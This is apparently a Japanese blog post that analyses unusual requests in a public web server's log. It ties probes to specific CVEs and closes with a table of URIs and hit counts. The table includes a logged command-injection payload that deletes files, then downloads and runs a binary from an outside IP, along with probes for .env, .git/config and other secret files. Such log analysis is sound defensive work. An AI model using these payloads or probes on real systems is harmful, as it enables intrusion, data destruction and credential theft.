公開している web サーバのログから通常のアクセスではない通信について分析しました。
多かったリクエスト
GeoServerの脆弱性
GeoServer の深刻な脆弱性 CVE-2023-35042 が FIX：RCE 攻撃が観測されている – IoT OT Security News
/geoserver/web/
Cisco 製 Cisco IOS XE の Web UI の脆弱性
Cisco 製 Cisco IOS XE の Web UI の脆弱性について(CVE-2023-20198 等) | 情報セキュリティ | IPA 独立行政法人 情報処理推進機構
/webui/
Spring Frameworkの脆弱性
Spring FrameworkのSpring Cloud Gatewayという機能の脆弱性に関する通信みたいです。
CVE-2022-22947: Spring Cloud Gateway Code Injection Vulnerability
/actuator/gateway/routes
Netlink GPONルータ 脆弱性
ルータの脆弱性「CVE-2020-10173」を利用するIoTマルウェア | トレンドマイクロ セキュリティブログ
/boaform/admin/formLogin
PHPUnitのevalをリモート実行
PHPのユニットテストツールのPHPUnitの脆弱性を利用してのeval()を実行しようとする通信
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
startという名前のファイルにアクセスしようとしている通信
あらゆる拡張子のstartファイルにアクセスしようとする通信が大量にありました。
menu,main,localstart,home,admin,baseにも同じ数のアクセスがあったので何かのツールで大量に送られているみたいです。
/start.shtml
/start.pl
/start.php
/start.jsp
/start.jsa
/start.jhtml
/start.html
/start.cgi
/start.cfm
/start.aspx
/start.asp
Wordpressの情報取集
使用しているプラグインなどの調査
/wp-content/plugins/WordPressCore/include.php
/wp-includes/images/include.php
/wp-content/plugins/core-plugin/include.php
/wp-includes/widgets/include.php
不審な通信の一覧
| uri | count |
|---|---|
| /robots.txt | 1426 |
| /sw.js | 418 |
| /.env | 323 |
| /favicon.ico | 281 |
| /ads.txt | 224 |
| /.git/config | 155 |
| * | 134 |
| /wp-login.php | 117 |
| /wp-content/plugins/WordPressCore/include.php | 107 |
| /wp-includes/images/include.php | 106 |
| /wp-content/plugins/core-plugin/include.php | 105 |
| /wp-includes/widgets/include.php | 102 |
| mstshash=Administr | 89 |
| /app-ads.txt | 82 |
| /index.xml | 76 |
| /webui/ | 57 |
| /geoserver/web/ | 56 |
| //.env | 56 |
| /inputs.php | 50 |
| /actuator/gateway/routes | 43 |
| /tags/cms | 37 |
| /sellers.json | 37 |
| /.well-known/security.txt | 37 |
| /login | 35 |
| /boaform/admin/formLogin | 35 |
| /wp-content/ | 29 |
| /sitemap.txt | 28 |
| /info.php | 28 |
| /_profiler/phpinfo | 28 |
| /manager/html | 27 |
| //wp-content/ | 27 |
| /api/.env | 26 |
| /autodiscover/autodiscover.json?@zdi/Powershell | 25 |
| /.well-known/ | 24 |
| /wp-content/uploads/ | 23 |
| /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | 23 |
| /wp-content/themes/twentyfive/include.php | 21 |
| /wp-content/themes/include.php | 21 |
| /wp-content/plugins/include.php | 21 |
| /wp-content/include.php | 21 |
| /phpinfo.php | 21 |
| /.well-known/acme-challenge/ | 21 |
| \xC0/\xC00\xC0+\xC0,\xCC\xA8\xCC\xA9\xC0\x13\xC0\x09\xC0\x14\xC0 | 20 |
| /wp-includes/ | 20 |
| /wp-content/themes/sketch/404.php | 20 |
| /wp-admin/ | 20 |
| /mysql | 20 |
| /manifest.js | 20 |
| /wp-content/themes/ | 19 |
| /wp-content/plugins/ | 19 |
| /core/.env | 19 |
| /actuator/health | 19 |
| /sitemap | 18 |
| /css/ | 17 |
| /.well-known/pki-validation/ | 17 |
| /sql | 16 |
| /sdk | 16 |
| /index.php | 16 |
| /HNAP1 | 16 |
| /.git/HEAD | 16 |
| /index.asp | 15 |
| /whyareugay | 14 |
| /main.php | 14 |
| //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | 14 |
| /.vscode/sftp.json | 14 |
| /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ | 13 |
| /phpmyadmin | 13 |
| /local/.env | 13 |
| /laravel/.env | 13 |
| /app/.env | 13 |
| /admin.php | 13 |
| /about | 13 |
| /aab8 | 13 |
| /aaa9 | 13 |
| /.well-known/assetlinks.json | 13 |
| /.well-known/apple-app-site-association | 13 |
| mstshash=Domain | 12 |
| default.asp | 12 |
| /wp/wp-includes/wlwmanifest.xml | 12 |
| /wp-config.php.bak | 12 |
| /wordpress/wp-includes/wlwmanifest.xml | 12 |
| /start.shtml | 12 |
| /start.pl | 12 |
| /start.php | 12 |
| /start.jsp | 12 |
| /start.jsa | 12 |
| /start.jhtml | 12 |
| /start.html | 12 |
| /start.cgi | 12 |
| /start.cfm | 12 |
| /start.aspx | 12 |
| /start.asp | 12 |
| /sqlitemanager/main.php | 12 |
| /sqlite/main.php | 12 |
| /shell?cd+/tmp;rm+-rf+*;wget+91.92.243.35/jaws;sh+/tmp/jaws | 12 |
| /script | 12 |
| /readme.txt | 12 |
| /pools/default/buckets | 12 |
| /pools | 12 |
| /mysqldumper | 12 |
| /mySqlDumper | 12 |
| /msd1.24stable | 12 |
| /msd1.24.4 | 12 |
| /msd | 12 |
| /menu.shtml | 12 |
| /menu.pl | 12 |
| /menu.php | 12 |
| /menu.jsp | 12 |
| /menu.jsa | 12 |
| /menu.jhtml | 12 |
| /menu.html | 12 |
| /menu.cgi | 12 |
| /menu.cfm | 12 |
| /menu.aspx | 12 |
| /menu.asp | 12 |
| /main.shtml | 12 |
| /main.pl | 12 |
| /main.jsp | 12 |
| /main.jsa | 12 |
| /main.jhtml | 12 |
| /main.html | 12 |
| /main.cgi | 12 |
| /main.cfm | 12 |
| /main.aspx | 12 |
| /main.asp | 12 |
| /localstart.shtml | 12 |
| /localstart.pl | 12 |
| /localstart.php | 12 |
| /localstart.jsp | 12 |
| /localstart.jsa | 12 |
| /localstart.jhtml | 12 |
| /localstart.html | 12 |
| /localstart.cgi | 12 |
| /localstart.cfm | 12 |
| /localstart.aspx | 12 |
| /localstart.asp | 12 |
| /jmx-console | 12 |
| /jenkins/script | 12 |
| /inicio.shtml | 12 |
| /inicio.pl | 12 |
| /inicio.php | 12 |
| /inicio.jsp | 12 |
| /inicio.jsa | 12 |
| /inicio.jhtml | 12 |
| /inicio.html | 12 |
| /inicio.cgi | 12 |
| /inicio.cfm | 12 |
| /inicio.aspx | 12 |
| /inicio.asp | 12 |
| /indice.shtml | 12 |
| /indice.pl | 12 |
| /indice.php | 12 |
| /indice.jsp | 12 |
| /indice.jsa | 12 |
| /indice.jhtml | 12 |
| /indice.html | 12 |
| /indice.cgi | 12 |
| /indice.cfm | 12 |
| /indice.aspx | 12 |
| /indice.asp | 12 |
| /index.shtml | 12 |
| /index.pl | 12 |
| /index.jsp | 12 |
| /index.jsa | 12 |
| /index.jhtml | 12 |
| /index.cgi | 12 |
| /index.cfm | 12 |
| /index.aspx | 12 |
| /hudson/script | 12 |
| /home.shtml | 12 |
| /home.pl | 12 |
| /home.php | 12 |
| /home.jsp | 12 |
| /home.jsa | 12 |
| /home.jhtml | 12 |
| /home.html | 12 |
| /home.cgi | 12 |
| /home.cfm | 12 |
| /home.aspx | 12 |
| /home.asp | 12 |
| /docs/cplugError.html/ | 12 |
| /default.shtml | 12 |
| /default.pl | 12 |
| /default.php | 12 |
| /default.jsp | 12 |
| /default.jsa | 12 |
| /default.jhtml | 12 |
| /default.html | 12 |
| /default.cgi | 12 |
| /default.cfm | 12 |
| /default.aspx | 12 |
| /default.asp | 12 |
| /cf_scripts/scripts/ajax/ckeditor/ckeditor.js | 12 |
| /base.shtml | 12 |
| /base.pl | 12 |
| /base.php | 12 |
| /base.jsp | 12 |
| /base.jsa | 12 |
| /base.jhtml | 12 |
| /base.inc | 12 |
| /base.html | 12 |
| /base.cgi | 12 |
| /base.cfm | 12 |
| /base.aspx | 12 |
| /base.asp | 12 |
| /admin.shtml | 12 |
| /admin.pl | 12 |
| /admin.jsp | 12 |
| /admin.jsa | 12 |
| /admin.jhtml | 12 |
| /admin.html | 12 |
| /admin.cgi | 12 |
